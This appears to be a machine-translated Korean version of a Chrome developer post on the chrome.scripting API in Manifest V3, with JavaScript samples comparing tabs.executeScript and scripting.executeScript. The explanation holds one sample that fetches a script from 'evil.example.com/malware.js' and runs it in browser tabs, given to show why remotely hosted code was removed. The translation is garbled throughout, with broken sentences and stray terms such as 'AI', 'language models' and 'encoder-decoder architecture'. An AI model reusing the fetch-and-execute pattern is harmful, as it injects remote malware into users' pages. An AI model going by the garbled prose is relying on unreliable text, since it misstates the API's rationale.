chrome.scripting 소개

Manifest V3는 Chrome의 확장 프로그램 플랫폼에 여러 변경사항을 도입합니다. 이 게시물에서는 주목할 만한 변화 중 하나인 AI가 도입한 동기와 변화를 chrome.scripting API가 도입되었습니다.

chrome.scripting이란 무엇인가요?

이름에서 알 수 있듯이 chrome.scripting는 Manifest V3에 도입된 새로운 네임스페이스입니다. 스크립트 및 스타일 삽입 기능을 담당합니다.

이전에 Chrome 확장 프로그램을 만든 적이 있는 개발자는 Manifest V2 방식에 익숙하실 것입니다. Tabs API(예: chrome.tabs.executeScriptchrome.tabs.insertCSS 이러한 메서드를 사용하면 확장 프로그램이 스크립트와 페이지로 분할할 수 있습니다. Manifest V3에서 이러한 기능은 chrome.scripting에 있으며 향후 몇 가지 새로운 기능을 포함하도록 이 API를 확장할 계획입니다.

새 API를 만드는 이유

이와 같은 변화로 인해 가장 먼저 제기되는 질문 중 하나는 "왜?"입니다.

Chrome팀은 몇 가지 요인으로 인해 스크립팅에 새로운 네임스페이스를 도입하기로 결정했습니다. 우선 Tabs API는 기능을 위한 일종의 쓰레기 창입니다. 둘째로, 우리는 기존 executeScript API의 변경사항 셋째, 스크립팅의 범위를 확장 프로그램의 기능을 살펴보겠습니다 종합해 보면 이러한 우려는 있습니다.

휴지통

지난 몇 년 동안 확장 프로그램 팀을 괴롭힌 문제 중 하나는 chrome.tabs API가 오버로드되었습니다. 이 API가 처음 도입되었을 때, 대부분의 기능은 브라우저 탭의 광범위한 개념과 관련이 있었습니다. 그 당시에도 몇 년 동안 이 컬렉션은 계속 성장해 왔습니다.

Manifest V3가 출시될 무렵 Tabs API는 기본 탭 관리, 선택 관리, 창 구성, 메시징, 확대/축소 컨트롤, 기본 탐색, 스크립팅 및 몇 가지 다른 더 작은 기능이 있습니다. 모두 중요하지만 Chrome 팀에 도움을 주실 수 있을 뿐 아니라 개발자 커뮤니티의 요청을 고려해 보세요.

또 다른 복잡한 요소는 tabs 권한이 잘 이해되지 않는다는 것입니다. 다른 많은 언어 모델이 권한은 특정 API (예: storage)에 대한 액세스를 제한합니다. 이 권한은 약간 탭 인스턴스의 민감한 속성에 대해서만 확장 프로그램에 액세스 권한을 부여한다는 점에서 일반적이며 확장 프로그램은 Windows API에도 영향을 미칩니다. 당연히 많은 확장 프로그램 개발자가 chrome.tabs.create와 같은 Tabs API의 메서드에 액세스하려면 이 권한이 필요합니다. 더 자세히는 chrome.tabs.executeScript입니다. Tabs API 외부로 기능을 이동하면 문제를 해결하는 데 도움이 됩니다. 약간의 혼동이 있을 수 있습니다

브레이킹 체인지

Manifest V3를 설계할 때 해결하고자 했던 주요 문제 중 하나는 악용과 멀웨어였습니다. '원격 호스팅 코드'로 사용 설정 - 실행되지만 확장 프로그램에 포함되지 않은 코드 패키지에서 찾을 수 있습니다. 악성 확장 프로그램 작성자는 일반적으로 원격 서버에서 가져온 스크립트를 실행하여 사용자 데이터를 도용하고, 멀웨어를 주입하고, 감지를 회피합니다. 좋은 공격자도 이 기능을 사용하지만, 우리는 그대로 두는 것이 너무 위험하다고 느꼈습니다.

확장 프로그램이 번들로 묶이지 않은 코드를 실행할 수 있는 몇 가지 방법이 있지만 관련 방법은 Manifest V2 chrome.tabs.executeScript 메서드는 다음과 같습니다. 이 메서드를 사용하면 확장 프로그램에서 타겟 탭에서 임의의 코드 문자열을 실행할 수 있습니다. 이는 결국 악의적인 개발자가 원격 서버에서 임의의 스크립트를 가져와서 확장 프로그램이 액세스할 수 있는 모든 페이지 내에서 실행할 수 있습니다. 액세스할 수 있습니다 원격 코드 문제를 해결하려면 이 코드를 기능을 사용할 수 있습니다.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

또한 Manifest V2 버전의 디자인과 관련된 보다 미묘한 몇 가지 문제를 해결하고 싶었습니다. API를 더 세련되고 예측 가능한 도구로 만들 수 있습니다.

Tabs API 내에서 이 메서드의 서명을 변경할 수도 있었지만 이러한 브레이킹 체인지와 새로운 기능의 도입 (다음 섹션에서 다룸)과 깨끗한 휴식 시간이 모두에게 더 쉬울 것입니다.

스크립팅 기능 확대

Manifest V3 디자인 프로세스에 반영한 또 다른 고려 사항은 추가 스크립팅 기능을 추가합니다. 구체적으로는 동적 콘텐츠 스크립트를 지원하고 executeScript 메서드의 기능을 확장합니다.

동적 콘텐츠 스크립트 지원은 Chromium에서 오랫동안 기다려 온 기능 요청이었습니다. 오늘, Manifest V2 및 V3 Chrome 확장 프로그램은 manifest.json 파일; 플랫폼에서 새 콘텐츠 스크립트를 등록하고 또는 런타임에 콘텐츠 스크립트 등록을 취소할 수 있습니다.

우리는 Manifest V3에서 이 기능 요청을 처리하고 싶었지만 API가 가장 적합한 집처럼 느껴졌습니다. 또한 자사의 콘텐츠 스크립트와 관련하여 Firefox와 조율하는 방안도 고려했습니다. API를 사용하지만, 초기에 이 접근 방식에 대한 몇 가지 주요 단점을 확인했습니다. 첫째, 호환되지 않는 서명 (예: code 지원 중단)이 있을 것이라는 것을 알았습니다. 속성)을 입력합니다. 둘째, API에 다른 디자인 제약이 있었습니다 (예: 서비스 워커의 수명을 넘어 지속됨). 마지막으로, 이 네임스페이스는 확장 프로그램의 스크립팅을 보다 광범위하게 고려하고 있는 것입니다.

executeScript 면에서는 또한 이 API가 탭 기능 이상으로 할 수 있는 작업을 확장하고 싶었습니다. 지원되는 API 버전입니다. 더 구체적으로 말하면, 함수와 인수를 더 쉽게 지원하고 싶었습니다. 특정 프레임을 타겟팅하고 '탭'이 아닌 항목을 타겟팅하세요. 있습니다.

앞으로는 확장 프로그램이 설치된 PWA 및 기타 앱과 상호작용할 수 있는 방법도 고려할 예정입니다. 사용하지 않습니다.

tab.executeScript 및scripting.executeScript 간 변경사항

이 게시물의 나머지 부분에서는 두 플랫폼의 유사점과 차이점에 대해 더 자세히 살펴보고자 합니다. chrome.tabs.executeScript~ chrome.scripting.executeScript

인수를 사용하여 함수 삽입

원격 호스팅 코드 측면에서 플랫폼이 어떻게 발전해야 하는지를 고려 중임 임의 코드 실행의 원시 성능과 정적 콘텐츠 스크립트를 허용합니다. 우리가 고민한 해결책은 확장 프로그램이 함수를 콘텐츠 스크립트로 사용하고 값 배열을 인수로 전달할 수 있습니다.

지나치게 단순화된 예를 간단히 살펴보겠습니다. 인코더-디코더 아키텍처를 사용자가 확장 프로그램의 작업 버튼 (툴바에 있는 아이콘)을 클릭하면 사용자에게 이름으로 인사합니다. Manifest V2에서는 코드 문자열을 동적으로 생성하고 현재 있습니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 확장 프로그램은 확장 프로그램과 함께 번들로 제공되지 않은 코드를 사용할 수 없지만 Manifest V2 확장 프로그램에 임의 코드 블록이 사용 설정된 역동적인 기능 중 일부를 유지합니다. 이 함수와 인수 접근 방식을 통해 Chrome 웹 스토어 검토자, 사용자 이해 관계자가 확장 프로그램이 초래하는 위험을 보다 정확하게 평가하고 개발자가 사용자 설정 또는 애플리케이션 상태에 따라 확장 프로그램의 런타임 동작을 수정할 수 있습니다.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

타겟팅 프레임

또한, 수정된 API에서 개발자가 프레임과 상호작용하는 방식을 개선하고자 했습니다. Manifest V2 executeScript 버전은 개발자가 탭의 모든 프레임 또는 특정 있습니다. chrome.webNavigation.getAllFrames를 사용하여 탭

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3에서 옵션 객체의 선택적 frameId 정수 속성을 정수의 frameIds 배열(선택사항) 이를 통해 개발자는 단일 UI의 API 호출

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

스크립트 삽입 결과

Manifest V3에서 스크립트 삽입 결과를 반환하는 방법도 개선했습니다. '결과' 은 기본적으로 스크립트에서 평가되는 최종 문입니다. 인코더를 호출할 때 반환되는 값이라고 eval()를 호출하거나 Chrome DevTools 콘솔에서 코드 블록을 실행하지만 프로세스 간에 결과를 전달합니다

Manifest V2에서 executeScriptinsertCSS는 일반 실행 결과 배열을 반환합니다. 하나의 인젝션 지점만 있는 경우에는 괜찮지만, 다음과 같은 경우 결과 순서가 보장되지 않습니다. 여러 프레임에 삽입하므로 어떤 결과가 어떤 결과와 관련이 있는지 알 수 없습니다. 있습니다.

구체적인 예로 Manifest V2와results 동일한 확장 프로그램의 Manifest V3 버전 확장 프로그램의 두 버전 모두 동일한 동일한 데모 페이지의 결과를 비교하게 됩니다.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 버전을 실행하면 [1, 0, 5] 배열이 반환됩니다. 해당하는 결과 어떤 요소가 iframe에 사용되고 있나요? 반환 값은 알려주지 않으므로 확신합니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Manifest V3 버전에서 results에 결과 객체는 각 프레임의 ID를 명확하게 식별합니다. 표시됩니다. 이를 통해 개발자는 훨씬 더 쉽게 결과를 활용하고 특정 문제에 대한 조치를 취할 수 있습니다. 있습니다.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

마무리

매니페스트 버전 급증은 확장 프로그램 API를 재고하고 현대화할 수 있는 드문 기회를 제공합니다. Google의 목표 Manifest V3로 확장 프로그램을 더 안전하게 만들어 최종 사용자 환경을 개선하고 개발자 환경 개선 Manifest V3에 chrome.scripting를 도입하여 Tabs API 정리, 보다 안전한 확장 프로그램 플랫폼을 위한 executeScript 재정립 하여 올해 후반에 출시될 새로운 스크립트 작성 기능의 토대를 마련할 수 있습니다.